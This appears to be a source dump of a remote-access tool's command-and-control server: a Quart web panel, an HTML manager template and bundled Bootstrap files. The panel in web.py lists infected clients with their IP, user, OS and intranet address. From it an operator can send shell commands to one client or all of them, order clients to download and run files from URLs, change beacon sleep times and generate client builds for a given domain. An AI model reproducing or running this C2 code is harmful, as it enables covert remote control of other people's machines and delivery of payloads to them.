168 | -------------------------------------------------------------------------------- /Server/app/web/web.py: -------------------------------------------------------------------------------- 1 | from .backend import * 2 | from ..utils import generate_client 3 | from quart import * 4 | import time 5 | from ..config import CONFIG 6 | import base64 7 | 8 | import logging 9 | 10 | 11 | 12 | 13 | 14 | 15 | app = Quart(__name__, static_folder="static") 16 | 17 | 18 | logging.getLogger('quart.serving').setLevel(logging.ERROR) 19 | 20 | 21 | @app.route(CONFIG["web"]["control"]) 22 | async def web_control(): 23 | conn=get_list() 24 | event=get_events("global") 25 | 26 | c = [] 27 | for i in conn.values(): 28 | x = int(time.time()) - i["heartbeat"] 29 | i["hb"] = x 30 | c.append(i) 31 | return await render_template("manager.html",conn=c,event=event) 32 | 33 | @app.route(CONFIG["web"]["control"]+"all",methods=['POST']) 34 | async def batch_api(): 35 | action = request.args.get("action") 36 | form = await request.get_data() 37 | form = loads(form) 38 | if action == "clear": 39 | 40 | clear_all(form["time"]) 41 | if action == "shell": 42 | for i in form["target"]: 43 | lv2 = { 44 | "command":form["command"] 45 | } 46 | do_action(i,{ 47 | "do":"cmd", 48 | "data":base64.b64encode(dumps(lv2).encode()).decode() 49 | }) 50 | event = { 51 | "is_client":False, 52 | "action":"global shell", 53 | "time":time.asctime(time.localtime(time.time())), 54 | "data":form["command"] 55 | } 56 | add_events(i,event) 57 | if action == "download": 58 | for i in form["target"]: 59 | lv2 = { 60 | "http":form["http"], 61 | "path":form["path"], 62 | "is_run":form["is_run"] 63 | } 64 | do_action(i,{ 65 | "do":"download", 66 | "data":base64.b64encode(dumps(lv2).encode()).decode() 67 | }) 68 | event = { 69 | "is_client":False, 70 | "action":"global download", 71 | "time":time.asctime(time.localtime(time.time())), 72 | "data":"Download: %s\nSavePath: %s\nRun: %s\n" % (form["http"],form["path"],form["is_run"]) 73 | } 74 | add_events(i,event) 75 | 76 | return redirect(request.referrer) 77 | 78 | @app.route(CONFIG["web"]["control"] + "client/",methods=['GET','POST']) 79 | async def web_control_client(uuid): 80 | action = request.args.get("action") 81 | if request.method == 'GET': 82 | if action == "clear": 83 | del_events(uuid) 84 | return redirect(request.referrer) 85 | conn = get_conn(uuid) 86 | events = get_events(uuid) 87 | if not conn: 88 | return "",404 89 | return await render_template("control.html",conn=conn,events=events[::-1]) 90 | else: 91 | 92 | form = await request.form 93 | if action == "shell": 94 | 95 | command = form['command'] 96 | lv2 = { 97 | "command":command 98 | } 99 | do_action(uuid,{ 100 | "do":"cmd", 101 | "data":base64.b64encode(dumps(lv2).encode()).decode() 102 | }) 103 | event = { 104 | "is_client":False, 105 | "action":"shell", 106 | "time":time.asctime(time.localtime(time.time())), 107 | "data":command 108 | } 109 | add_events(uuid,event) 110 | 111 | if action == "remark": 112 | remark = form["remark_text"] 113 | lv2 = { 114 | "remark":remark, 115 | } 116 | do_action(uuid,{ 117 | "do":"remark", 118 | "data":base64.b64encode(dumps(lv2).encode()).decode() 119 | }) 120 | event = { 121 | "is_client":False, 122 | "action":"remark", 123 | "time":time.asctime(time.localtime(time.time())), 124 | "data":remark 125 | } 126 | add_events(uuid,event) 127 | if action == "sleep": 128 | lv2 = { 129 | "sleep":int(form["sleep"]), 130 | } 131 | do_action(uuid,{ 132 | "do":"sleep", 133 | "data":base64.b64encode(dumps(lv2).encode()).decode() 134 | }) 135 | event = { 136 | "is_client":False, 137 | "action":"sleep", 138 | "time":time.asctime(time.localtime(time.time())), 139 | "data":"Change Sleep: %s" % (form["sleep"]) 140 | } 141 | add_events(uuid,event) 142 | if action == "download": 143 | http = form["http"] 144 | path = form["path"] 145 | is_run = form["is_run"] 146 | lv2 = { 147 | "url":http, 148 | "path":path, 149 | "is_run":is_run 150 | } 151 | do_action(uuid,{ 152 | "do":"download", 153 | "data":base64.b64encode(dumps(lv2).encode()).decode() 154 | }) 155 | event = { 156 | "is_client":False, 157 | "action":"download", 158 | "time":time.asctime(time.localtime(time.time())), 159 | "data":"Download: %s\nSavePath: %s\nRun: %s\n" % (http,path,is_run) 160 | } 161 | add_events(uuid,event) 162 | 163 | return redirect(request.referrer) 164 | 165 | 166 | 167 | @app.route(CONFIG["web"]["backend"], methods=['POST']) 168 | async def backend(): 169 | # todo:check UA and other 170 | data = await request.get_data() 171 | if CONFIG["base"]["cdn"] is False: 172 | return handle(data, request.remote_addr) 173 | else: 174 | return handle(data, request.headers[CONFIG["base"]["source_ip_tag"]]) 175 | 176 | 177 | @app.route('/generate/', methods=['GET']) 178 | async def generate(): 179 | domain = request.args.get("domain") 180 | version = request.args.get("version") 181 | ok, result, filename = generate_client(domain, version) 182 | if not ok: 183 | return result 184 | else: 185 | return await send_from_directory(app.static_folder, result, as_attachment=True, attachment_filename="") 186 | -------------------------------------------------------------------------------- /Server/app/web/templates/manager.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Manager 7 | 8 | 9 | 10 | 11 | 46 | 109 | 110 | 111 | 112 |
113 | 116 |
117 |
118 |
119 | 120 | 121 | 122 | 123 | 124 | 125 |
126 |
127 | 128 |
129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | {% for i in conn %} 143 | 144 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | {% endfor %} 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 |
IPRemarksOSUserSleepLastIntranet IPAction
{{ i.ip }} {{ i.info.remarks }} {{ i.info.system }} {{ i.info.user }} {{ i.sleep }}s{{ i.hb }}s{{i.info.iip}}操作 删除
172 |
173 |
175 |

日志

176 |
177 | {% for i in event %} 178 |

{{ i.data }}

179 | {% endfor %} 180 |
181 |
182 |
184 | 185 |
186 | 187 | 188 |
189 | 255 | 256 | 257 | 258 | -------------------------------------------------------------------------------- /Server/app/web/static/css/bootstrap-responsive.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap Responsive v2.3.2 3 | * 4 | * Copyright 2013 Twitter, Inc 5 | * Licensed under the Apache License v2.0 6 | * http://www.apache.org/licenses/LICENSE-2.0 7 | * 8 | * Designed and built with all the love in the world by @mdo and @fat. 9 | */.clearfix{*zoom:1}.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}.hide-text{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.input-block-level{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}@-ms-viewport{width:device-width}.hidden{display:none;visibility:hidden}.visible-phone{display:none!important}.visible-tablet{display:none!important}.hidden-desktop{display:none!important}.visible-desktop{display:inherit!important}@media(min-width:768px) and (max-width:979px){.hidden-desktop{display:inherit!important}.visible-desktop{display:none!important}.visible-tablet{display:inherit!important}.hidden-tablet{display:none!important}}@media(max-width:767px){.hidden-desktop{display:inherit!important}.visible-desktop{display:none!important}.visible-phone{display:inherit!important}.hidden-phone{display:none!important}}.visible-print{display:none!important}@media print{.visible-print{display:inherit!important}.hidden-print{display:none!important}}@media(min-width:1200px){.row{margin-left:-30px;*zoom:1}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:30px}.container,.navbar-static-top .container,.navbar-fixed-top .container,.navbar-fixed-bottom .container{width:1170px}.span12{width:1170px}.span11{width:1070px}.span10{width:970px}.span9{width:870px}.span8{width:770px}.span7{width:670px}.span6{width:570px}.span5{width:470px}.span4{width:370px}.span3{width:270px}.span2{width:170px}.span1{width:70px}.offset12{margin-left:1230px}.offset11{margin-left:1130px}.offset10{margin-left:1030px}.offset9{margin-left:930px}.offset8{margin-left:830px}.offset7{margin-left:730px}.offset6{margin-left:630px}.offset5{margin-left:530px}.offset4{margin-left:430px}.offset3{margin-left:330px}.offset2{margin-left:230px}.offset1{margin-left:130px}.row-fluid{width:100%;*zoom:1}.row-fluid:before,.row-fluid:after{display:table;line-height:0;content:""}.row-fluid:after{clear:both}.row-fluid [class*="span"]{display:block;float:left;width:100%;min-height:30px;margin-left:2.564102564102564%;*margin-left:2.5109110747408616%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.row-fluid [class*="span"]:first-child{margin-left:0}.row-fluid .controls-row [class*="span"]+[class*="span"]{margin-left:2.564102564102564%}.row-fluid .span12{width:100%;*width:99.94680851063829%}.row-fluid .span11{width:91.45299145299145%;*width:91.39979996362975%}.row-fluid .span10{width:82.90598290598291%;*width:82.8527914166212%}.row-fluid .span9{width:74.35897435897436%;*width:74.30578286961266%}.row-fluid .span8{width:65.81196581196582%;*width:65.75877432260411%}.row-fluid .span7{width:57.26495726495726%;*width:57.21176577559556%}.row-fluid .span6{width:48.717948717948715%;*width:48.664757228587014%}.row-fluid .span5{width:40.17094017094017%;*width:40.11774868157847%}.row-fluid .span4{width:31.623931623931625%;*width:31.570740134569924%}.row-fluid .span3{width:23.076923076923077%;*width:23.023731587561375%}.row-fluid .span2{width:14.52991452991453%;*width:14.476723040552828%}.row-fluid .span1{width:5.982905982905983%;*width:5.929714493544281%}.row-fluid .offset12{margin-left:105.12820512820512%;*margin-left:105.02182214948171%}.row-fluid .offset12:first-child{margin-left:102.56410256410257%;*margin-left:102.45771958537915%}.row-fluid .offset11{margin-left:96.58119658119658%;*margin-left:96.47481360247316%}.row-fluid .offset11:first-child{margin-left:94.01709401709402%;*margin-left:93.91071103837061%}.row-fluid .offset10{margin-left:88.03418803418803%;*margin-left:87.92780505546462%}.row-fluid .offset10:first-child{margin-left:85.47008547008548%;*margin-left:85.36370249136206%}.row-fluid .offset9{margin-left:79.48717948717949%;*margin-left:79.38079650845607%}.row-fluid .offset9:first-child{margin-left:76.92307692307693%;*margin-left:76.81669394435352%}.row-fluid .offset8{margin-left:70.94017094017094%;*margin-left:70.83378796144753%}.row-fluid .offset8:first-child{margin-left:68.37606837606839%;*margin-left:68.26968539734497%}.row-fluid .offset7{margin-left:62.393162393162385%;*margin-left:62.28677941443899%}.row-fluid .offset7:first-child{margin-left:59.82905982905982%;*margin-left:59.72267685033642%}.row-fluid .offset6{margin-left:53.84615384615384%;*margin-left:53.739770867430444%}.row-fluid .offset6:first-child{margin-left:51.28205128205128%;*margin-left:51.175668303327875%}.row-fluid .offset5{margin-left:45.299145299145295%;*margin-left:45.1927623204219%}.row-fluid .offset5:first-child{margin-left:42.73504273504273%;*margin-left:42.62865975631933%}.row-fluid .offset4{margin-left:36.75213675213675%;*margin-left:36.645753773413354%}.row-fluid .offset4:first-child{margin-left:34.18803418803419%;*margin-left:34.081651209310785%}.row-fluid .offset3{margin-left:28.205128205128204%;*margin-left:28.0987452264048%}.row-fluid .offset3:first-child{margin-left:25.641025641025642%;*margin-left:25.53464266230224%}.row-fluid .offset2{margin-left:19.65811965811966%;*margin-left:19.551736679396257%}.row-fluid .offset2:first-child{margin-left:17.094017094017094%;*margin-left:16.98763411529369%}.row-fluid .offset1{margin-left:11.11111111111111%;*margin-left:11.004728132387708%}.row-fluid .offset1:first-child{margin-left:8.547008547008547%;*margin-left:8.440625568285142%}input,textarea,.uneditable-input{margin-left:0}.controls-row [class*="span"]+[class*="span"]{margin-left:30px}input.span12,textarea.span12,.uneditable-input.span12{width:1156px}input.span11,textarea.span11,.uneditable-input.span11{width:1056px}input.span10,textarea.span10,.uneditable-input.span10{width:956px}input.span9,textarea.span9,.uneditable-input.span9{width:856px}input.span8,textarea.span8,.uneditable-input.span8{width:756px}input.span7,textarea.span7,.uneditable-input.span7{width:656px}input.span6,textarea.span6,.uneditable-input.span6{width:556px}input.span5,textarea.span5,.uneditable-input.span5{width:456px}input.span4,textarea.span4,.uneditable-input.span4{width:356px}input.span3,textarea.span3,.uneditable-input.span3{width:256px}input.span2,textarea.span2,.uneditable-input.span2{width:156px}input.span1,textarea.span1,.uneditable-input.span1{width:56px}.thumbnails{margin-left:-30px}.thumbnails>li{margin-left:30px}.row-fluid .thumbnails{margin-left:0}}@media(min-width:768px) and (max-width:979px){.row{margin-left:-20px;*zoom:1}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:20px}.container,.navbar-static-top .container,.navbar-fixed-top .container,.navbar-fixed-bottom .container{width:724px}.span12{width:724px}.span11{width:662px}.span10{width:600px}.span9{width:538px}.span8{width:476px}.span7{width:414px}.span6{width:352px}.span5{width:290px}.span4{width:228px}.span3{width:166px}.span2{width:104px}.span1{width:42px}.offset12{margin-left:764px}.offset11{margin-left:702px}.offset10{margin-left:640px}.offset9{margin-left:578px}.offset8{margin-left:516px}.offset7{margin-left:454px}.offset6{margin-left:392px}.offset5{margin-left:330px}.offset4{margin-left:268px}.offset3{margin-left:206px}.offset2{margin-left:144px}.offset1{margin-left:82px}.row-fluid{width:100%;*zoom:1}.row-fluid:before,.row-fluid:after{display:table;line-height:0;content:""}.row-fluid:after{clear:both}.row-fluid [class*="span"]{display:block;float:left;width:100%;min-height:30px;margin-left:2.7624309392265194%;*margin-left:2.709239449864817%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.row-fluid [class*="span"]:first-child{margin-left:0}.row-fluid .controls-row [class*="span"]+[class*="span"]{margin-left:2.7624309392265194%}.row-fluid .span12{width:100%;*width:99.94680851063829%}.row-fluid .span11{width:91.43646408839778%;*width:91.38327259903608%}.row-fluid .span10{width:82.87292817679558%;*width:82.81973668743387%}.row-fluid .span9{width:74.30939226519337%;*width:74.25620077583166%}.row-fluid .span8{width:65.74585635359117%;*width:65.69266486422946%}.row-fluid .span7{width:57.18232044198895%;*width:57.12912895262725%}.row-fluid .span6{width:48.61878453038674%;*width:48.56559304102504%}.row-fluid .span5{width:40.05524861878453%;*width:40.00205712942283%}.row-fluid .span4{width:31.491712707182323%;*width:31.43852121782062%}.row-fluid .span3{width:22.92817679558011%;*width:22.87498530621841%}.row-fluid .span2{width:14.3646408839779%;*width:14.311449394616199%}.row-fluid .span1{width:5.801104972375691%;*width:5.747913483013988%}.row-fluid .offset12{margin-left:105.52486187845304%;*margin-left:105.41847889972962%}.row-fluid .offset12:first-child{margin-left:102.76243093922652%;*margin-left:102.6560479605031%}.row-fluid .offset11{margin-left:96.96132596685082%;*margin-left:96.8549429881274%}.row-fluid .offset11:first-child{margin-left:94.1988950276243%;*margin-left:94.09251204890089%}.row-fluid .offset10{margin-left:88.39779005524862%;*margin-left:88.2914070765252%}.row-fluid .offset10:first-child{margin-left:85.6353591160221%;*margin-left:85.52897613729868%}.row-fluid .offset9{margin-left:79.8342541436464%;*margin-left:79.72787116492299%}.row-fluid .offset9:first-child{margin-left:77.07182320441989%;*margin-left:76.96544022569647%}.row-fluid .offset8{margin-left:71.2707182320442%;*margin-left:71.16433525332079%}.row-fluid .offset8:first-child{margin-left:68.50828729281768%;*margin-left:68.40190431409427%}.row-fluid .offset7{margin-left:62.70718232044199%;*margin-left:62.600799341718584%}.row-fluid .offset7:first-child{margin-left:59.94475138121547%;*margin-left:59.838368402492065%}.row-fluid .offset6{margin-left:54.14364640883978%;*margin-left:54.037263430116376%}.row-fluid .offset6:first-child{margin-left:51.38121546961326%;*margin-left:51.27483249088986%}.row-fluid .offset5{margin-left:45.58011049723757%;*margin-left:45.47372751851417%}.row-fluid .offset5:first-child{margin-left:42.81767955801105%;*margin-left:42.71129657928765%}.row-fluid .offset4{margin-left:37.01657458563536%;*margin-left:36.91019160691196%}.row-fluid .offset4:first-child{margin-left:34.25414364640884%;*margin-left:34.14776066768544%}.row-fluid .offset3{margin-left:28.45303867403315%;*margin-left:28.346655695309746%}.row-fluid .offset3:first-child{margin-left:25.69060773480663%;*margin-left:25.584224756083227%}.row-fluid .offset2{margin-left:19.88950276243094%;*margin-left:19.783119783707537%}.row-fluid .offset2:first-child{margin-left:17.12707182320442%;*margin-left:17.02068884448102%}.row-fluid .offset1{margin-left:11.32596685082873%;*margin-left:11.219583872105325%}.row-fluid .offset1:first-child{margin-left:8.56353591160221%;*margin-left:8.457152932878806%}input,textarea,.uneditable-input{margin-left:0}.controls-row [class*="span"]+[class*="span"]{margin-left:20px}input.span12,textarea.span12,.uneditable-input.span12{width:710px}input.span11,textarea.span11,.uneditable-input.span11{width:648px}input.span10,textarea.span10,.uneditable-input.span10{width:586px}input.span9,textarea.span9,.uneditable-input.span9{width:524px}input.span8,textarea.span8,.uneditable-input.span8{width:462px}input.span7,textarea.span7,.uneditable-input.span7{width:400px}input.span6,textarea.span6,.uneditable-input.span6{width:338px}input.span5,textarea.span5,.uneditable-input.span5{width:276px}input.span4,textarea.span4,.uneditable-input.span4{width:214px}input.span3,textarea.span3,.uneditable-input.span3{width:152px}input.span2,textarea.span2,.uneditable-input.span2{width:90px}input.span1,textarea.span1,.uneditable-input.span1{width:28px}}@media(max-width:767px){body{padding-right:20px;padding-left:20px}.navbar-fixed-top,.navbar-fixed-bottom,.navbar-static-top{margin-right:-20px;margin-left:-20px}.container-fluid{padding:0}.dl-horizontal dt{float:none;width:auto;clear:none;text-align:left}.dl-horizontal dd{margin-left:0}.container{width:auto}.row-fluid{width:100%}.row,.thumbnails{margin-left:0}.thumbnails>li{float:none;margin-left:0}[class*="span"],.uneditable-input[class*="span"],.row-fluid [class*="span"]{display:block;float:none;width:100%;margin-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.span12,.row-fluid .span12{width:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.row-fluid [class*="offset"]:first-child{margin-left:0}.input-large,.input-xlarge,.input-xxlarge,input[class*="span"],select[class*="span"],textarea[class*="span"],.uneditable-input{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.input-prepend input,.input-append input,.input-prepend input[class*="span"],.input-append input[class*="span"]{display:inline-block;width:auto}.controls-row [class*="span"]+[class*="span"]{margin-left:0}.modal{position:fixed;top:20px;right:20px;left:20px;width:auto;margin:0}.modal.fade{top:-100px}.modal.fade.in{top:20px}}@media(max-width:480px){.nav-collapse{-webkit-transform:translate3d(0,0,0)}.page-header h1 small{display:block;line-height:20px}input[type="checkbox"],input[type="radio"]{border:1px solid #ccc}.form-horizontal .control-label{float:none;width:auto;padding-top:0;text-align:left}.form-horizontal .controls{margin-left:0}.form-horizontal .control-list{padding-top:0}.form-horizontal .form-actions{padding-right:10px;padding-left:10px}.media .pull-left,.media .pull-right{display:block;float:none;margin-bottom:10px}.media-object{margin-right:0;margin-left:0}.modal{top:10px;right:10px;left:10px}.modal-header .close{padding:10px;margin:-10px}.carousel-caption{position:static}}@media(max-width:979px){body{padding-top:0}.navbar-fixed-top,.navbar-fixed-bottom{position:static}.navbar-fixed-top{margin-bottom:20px}.navbar-fixed-bottom{margin-top:20px}.navbar-fixed-top .navbar-inner,.navbar-fixed-bottom .navbar-inner{padding:5px}.navbar .container{width:auto;padding:0}.navbar .brand{padding-right:10px;padding-left:10px;margin:0 0 0 -5px}.nav-collapse{clear:both}.nav-collapse .nav{float:none;margin:0 0 10px}.nav-collapse .nav>li{float:none}.nav-collapse .nav>li>a{margin-bottom:2px}.nav-collapse .nav>.divider-vertical{display:none}.nav-collapse .nav .nav-header{color:#777;text-shadow:none}.nav-collapse .nav>li>a,.nav-collapse .dropdown-menu a{padding:9px 15px;font-weight:bold;color:#777;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.nav-collapse .btn{padding:4px 10px 4px;font-weight:normal;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.nav-collapse .dropdown-menu li+li a{margin-bottom:2px}.nav-collapse .nav>li>a:hover,.nav-collapse .nav>li>a:focus,.nav-collapse .dropdown-menu a:hover,.nav-collapse .dropdown-menu a:focus{background-color:#f2f2f2}.navbar-inverse .nav-collapse .nav>li>a,.navbar-inverse .nav-collapse .dropdown-menu a{color:#999}.navbar-inverse .nav-collapse .nav>li>a:hover,.navbar-inverse .nav-collapse .nav>li>a:focus,.navbar-inverse .nav-collapse .dropdown-menu a:hover,.navbar-inverse .nav-collapse .dropdown-menu a:focus{background-color:#111}.nav-collapse.in .btn-group{padding:0;margin-top:5px}.nav-collapse .dropdown-menu{position:static;top:auto;left:auto;display:none;float:none;max-width:none;padding:0;margin:0 15px;background-color:transparent;border:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.nav-collapse .open>.dropdown-menu{display:block}.nav-collapse .dropdown-menu:before,.nav-collapse .dropdown-menu:after{display:none}.nav-collapse .dropdown-menu .divider{display:none}.nav-collapse .nav>li>.dropdown-menu:before,.nav-collapse .nav>li>.dropdown-menu:after{display:none}.nav-collapse .navbar-form,.nav-collapse .navbar-search{float:none;padding:10px 15px;margin:10px 0;border-top:1px solid #f2f2f2;border-bottom:1px solid #f2f2f2;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.1);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.1);box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.1)}.navbar-inverse .nav-collapse .navbar-form,.navbar-inverse .nav-collapse .navbar-search{border-top-color:#111;border-bottom-color:#111}.navbar .nav-collapse .nav.pull-right{float:none;margin-left:0}.nav-collapse,.nav-collapse.collapse{height:0;overflow:hidden}.navbar .btn-navbar{display:block}.navbar-static .navbar-inner{padding-right:10px;padding-left:10px}}@media(min-width:980px){.nav-collapse.collapse{height:auto!important;overflow:visible!important}} 10 | -------------------------------------------------------------------------------- /Server/app/web/static/js/bootstrap.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap.js by @fat & @mdo 3 | * Copyright 2013 Twitter, Inc. 4 | * http://www.apache.org/licenses/LICENSE-2.0.txt 5 | */ 6 | !function(e){"use strict";e(function(){e.support.transition=function(){var e=function(){var e=document.createElement("bootstrap"),t={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},n;for(n in t)if(e.style[n]!==undefined)return t[n]}();return e&&{end:e}}()})}(window.jQuery),!function(e){"use strict";var t='[data-dismiss="alert"]',n=function(n){e(n).on("click",t,this.close)};n.prototype.close=function(t){function s(){i.trigger("closed").remove()}var n=e(this),r=n.attr("data-target"),i;r||(r=n.attr("href"),r=r&&r.replace(/.*(?=#[^\s]*$)/,"")),i=e(r),t&&t.preventDefault(),i.length||(i=n.hasClass("alert")?n:n.parent()),i.trigger(t=e.Event("close"));if(t.isDefaultPrevented())return;i.removeClass("in"),e.support.transition&&i.hasClass("fade")?i.on(e.support.transition.end,s):s()};var r=e.fn.alert;e.fn.alert=function(t){return this.each(function(){var r=e(this),i=r.data("alert");i||r.data("alert",i=new n(this)),typeof t=="string"&&i[t].call(r)})},e.fn.alert.Constructor=n,e.fn.alert.noConflict=function(){return e.fn.alert=r,this},e(document).on("click.alert.data-api",t,n.prototype.close)}(window.jQuery),!function(e){"use strict";var t=function(t,n){this.$element=e(t),this.options=e.extend({},e.fn.button.defaults,n)};t.prototype.setState=function(e){var t="disabled",n=this.$element,r=n.data(),i=n.is("input")?"val":"html";e+="Text",r.resetText||n.data("resetText",n[i]()),n[i](r[e]||this.options[e]),setTimeout(function(){e=="loadingText"?n.addClass(t).attr(t,t):n.removeClass(t).removeAttr(t)},0)},t.prototype.toggle=function(){var e=this.$element.closest('[data-toggle="buttons-radio"]');e&&e.find(".active").removeClass("active"),this.$element.toggleClass("active")};var n=e.fn.button;e.fn.button=function(n){return this.each(function(){var r=e(this),i=r.data("button"),s=typeof n=="object"&&n;i||r.data("button",i=new t(this,s)),n=="toggle"?i.toggle():n&&i.setState(n)})},e.fn.button.defaults={loadingText:"loading..."},e.fn.button.Constructor=t,e.fn.button.noConflict=function(){return e.fn.button=n,this},e(document).on("click.button.data-api","[data-toggle^=button]",function(t){var n=e(t.target);n.hasClass("btn")||(n=n.closest(".btn")),n.button("toggle")})}(window.jQuery),!function(e){"use strict";var t=function(t,n){this.$element=e(t),this.$indicators=this.$element.find(".carousel-indicators"),this.options=n,this.options.pause=="hover"&&this.$element.on("mouseenter",e.proxy(this.pause,this)).on("mouseleave",e.proxy(this.cycle,this))};t.prototype={cycle:function(t){return t||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(e.proxy(this.next,this),this.options.interval)),this},getActiveIndex:function(){return this.$active=this.$element.find(".item.active"),this.$items=this.$active.parent().children(),this.$items.index(this.$active)},to:function(t){var n=this.getActiveIndex(),r=this;if(t>this.$items.length-1||t<0)return;return this.sliding?this.$element.one("slid",function(){r.to(t)}):n==t?this.pause().cycle():this.slide(t>n?"next":"prev",e(this.$items[t]))},pause:function(t){return t||(this.paused=!0),this.$element.find(".next, .prev").length&&e.support.transition.end&&(this.$element.trigger(e.support.transition.end),this.cycle(!0)),clearInterval(this.interval),this.interval=null,this},next:function(){if(this.sliding)return;return this.slide("next")},prev:function(){if(this.sliding)return;return this.slide("prev")},slide:function(t,n){var r=this.$element.find(".item.active"),i=n||r[t](),s=this.interval,o=t=="next"?"left":"right",u=t=="next"?"first":"last",a=this,f;this.sliding=!0,s&&this.pause(),i=i.length?i:this.$element.find(".item")[u](),f=e.Event("slide",{relatedTarget:i[0],direction:o});if(i.hasClass("active"))return;this.$indicators.length&&(this.$indicators.find(".active").removeClass("active"),this.$element.one("slid",function(){var t=e(a.$indicators.children()[a.getActiveIndex()]);t&&t.addClass("active")}));if(e.support.transition&&this.$element.hasClass("slide")){this.$element.trigger(f);if(f.isDefaultPrevented())return;i.addClass(t),i[0].offsetWidth,r.addClass(o),i.addClass(o),this.$element.one(e.support.transition.end,function(){i.removeClass([t,o].join(" ")).addClass("active"),r.removeClass(["active",o].join(" ")),a.sliding=!1,setTimeout(function(){a.$element.trigger("slid")},0)})}else{this.$element.trigger(f);if(f.isDefaultPrevented())return;r.removeClass("active"),i.addClass("active"),this.sliding=!1,this.$element.trigger("slid")}return s&&this.cycle(),this}};var n=e.fn.carousel;e.fn.carousel=function(n){return this.each(function(){var r=e(this),i=r.data("carousel"),s=e.extend({},e.fn.carousel.defaults,typeof n=="object"&&n),o=typeof n=="string"?n:s.slide;i||r.data("carousel",i=new t(this,s)),typeof n=="number"?i.to(n):o?i[o]():s.interval&&i.pause().cycle()})},e.fn.carousel.defaults={interval:5e3,pause:"hover"},e.fn.carousel.Constructor=t,e.fn.carousel.noConflict=function(){return e.fn.carousel=n,this},e(document).on("click.carousel.data-api","[data-slide], [data-slide-to]",function(t){var n=e(this),r,i=e(n.attr("data-target")||(r=n.attr("href"))&&r.replace(/.*(?=#[^\s]+$)/,"")),s=e.extend({},i.data(),n.data()),o;i.carousel(s),(o=n.attr("data-slide-to"))&&i.data("carousel").pause().to(o).cycle(),t.preventDefault()})}(window.jQuery),!function(e){"use strict";var t=function(t,n){this.$element=e(t),this.options=e.extend({},e.fn.collapse.defaults,n),this.options.parent&&(this.$parent=e(this.options.parent)),this.options.toggle&&this.toggle()};t.prototype={constructor:t,dimension:function(){var e=this.$element.hasClass("width");return e?"width":"height"},show:function(){var t,n,r,i;if(this.transitioning||this.$element.hasClass("in"))return;t=this.dimension(),n=e.camelCase(["scroll",t].join("-")),r=this.$parent&&this.$parent.find("> .accordion-group > .in");if(r&&r.length){i=r.data("collapse");if(i&&i.transitioning)return;r.collapse("hide"),i||r.data("collapse",null)}this.$element[t](0),this.transition("addClass",e.Event("show"),"shown"),e.support.transition&&this.$element[t](this.$element[0][n])},hide:function(){var t;if(this.transitioning||!this.$element.hasClass("in"))return;t=this.dimension(),this.reset(this.$element[t]()),this.transition("removeClass",e.Event("hide"),"hidden"),this.$element[t](0)},reset:function(e){var t=this.dimension();return this.$element.removeClass("collapse")[t](e||"auto")[0].offsetWidth,this.$element[e!==null?"addClass":"removeClass"]("collapse"),this},transition:function(t,n,r){var i=this,s=function(){n.type=="show"&&i.reset(),i.transitioning=0,i.$element.trigger(r)};this.$element.trigger(n);if(n.isDefaultPrevented())return;this.transitioning=1,this.$element[t]("in"),e.support.transition&&this.$element.hasClass("collapse")?this.$element.one(e.support.transition.end,s):s()},toggle:function(){this[this.$element.hasClass("in")?"hide":"show"]()}};var n=e.fn.collapse;e.fn.collapse=function(n){return this.each(function(){var r=e(this),i=r.data("collapse"),s=e.extend({},e.fn.collapse.defaults,r.data(),typeof n=="object"&&n);i||r.data("collapse",i=new t(this,s)),typeof n=="string"&&i[n]()})},e.fn.collapse.defaults={toggle:!0},e.fn.collapse.Constructor=t,e.fn.collapse.noConflict=function(){return e.fn.collapse=n,this},e(document).on("click.collapse.data-api","[data-toggle=collapse]",function(t){var n=e(this),r,i=n.attr("data-target")||t.preventDefault()||(r=n.attr("href"))&&r.replace(/.*(?=#[^\s]+$)/,""),s=e(i).data("collapse")?"toggle":n.data();n[e(i).hasClass("in")?"addClass":"removeClass"]("collapsed"),e(i).collapse(s)})}(window.jQuery),!function(e){"use strict";function r(){e(".dropdown-backdrop").remove(),e(t).each(function(){i(e(this)).removeClass("open")})}function i(t){var n=t.attr("data-target"),r;n||(n=t.attr("href"),n=n&&/#/.test(n)&&n.replace(/.*(?=#[^\s]*$)/,"")),r=n&&e(n);if(!r||!r.length)r=t.parent();return r}var t="[data-toggle=dropdown]",n=function(t){var n=e(t).on("click.dropdown.data-api",this.toggle);e("html").on("click.dropdown.data-api",function(){n.parent().removeClass("open")})};n.prototype={constructor:n,toggle:function(t){var n=e(this),s,o;if(n.is(".disabled, :disabled"))return;return s=i(n),o=s.hasClass("open"),r(),o||("ontouchstart"in 